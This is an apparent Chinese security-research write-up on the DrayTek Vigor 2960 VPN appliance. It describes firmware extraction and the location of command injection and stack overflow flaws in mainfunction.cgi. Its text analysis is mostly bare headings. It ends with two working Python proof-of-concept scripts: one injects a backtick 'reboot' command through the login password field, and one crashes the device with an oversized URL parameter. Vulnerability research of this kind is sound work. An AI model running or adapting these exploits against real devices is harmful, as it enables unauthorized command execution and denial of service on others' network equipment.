[toc]
背景产品介绍
Vigor 2960 是一款企业级的VPN管理中心,通过灵活、可靠以及高性能的LAN to LAN和远程接入方案,为客户的商务活动提供了安全保障,同时也节省了成本,价格太贵就没考虑完整复现了。
提取文件系统
利用ubireader_extract_files来进行提取,不能使用binwalk。
漏洞文件定位分析
查看web管理端是否有在默认启动项里:
查看这个配置文件:
这里显示了加载的模块:
看看二次开发后的东西有哪些内容
根据漏洞描述定位到mainfunction.cgi
漏洞文件分析
找到main函数
通过path_info和action获取功能分发
命令注入
漏洞一
定位漏洞功能
命令注入漏洞
漏洞二
漏洞三
漏洞四
等
栈溢出
首先定位到url_decode:
有四个函数调用这个漏洞函数:
漏洞点一:
漏洞点二:
漏洞点三:
漏洞点四:
POC
抄一下作业吧
命令注入
from sys import argv
from base64 import b64encode
import requests
data = {
"URL": "192.168.1.1",
"HOST": "http://192.168.1.1",
"action": "authuser",
"formusername": b64encode(b"test").decode(),
"formpassword": b64encode(b"12345678`reboot`").decode(),
"PHONENUMBER": argv[1] # the known phone number
}
header = {
"Content-Type": "application/raw"
}
url = {
"root": "http://192.168.1.1",
"cgi": {
"root": "/cgi-bin",
"uri": {
"mf": "/mainfunction.cgi",
}
}
}
def build_url(p1, p2=None):
if p2:
return url["root"] + url[p1]["root"] + url[p1]["uri"][p2]
else:
return url["root"] + url[p1]
session = requests.session()
session.post(build_url("cgi", "mf"), data=data, headers=header)
栈溢出(崩溃效果)
import requests
from urllib.parse import quote
import base64
def poc(url):
headers = {"UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) xxxxxxxx"}
url = url + "/cgi-bin/mainfunction.cgi"
data = {
"action":"web_portal_bypass_ok",
"url":"http://"+"\x40"*0xFFF+"/",
"is_android":"true"
}
res = requests.post(url=url,verify=False,data=data,timeout=(10,15),headers=headers)
if res.status_code!=200:
print(res.text)
else:
print(res.text)
return ""
poc("http://xxx.xxx.xxx.xxx")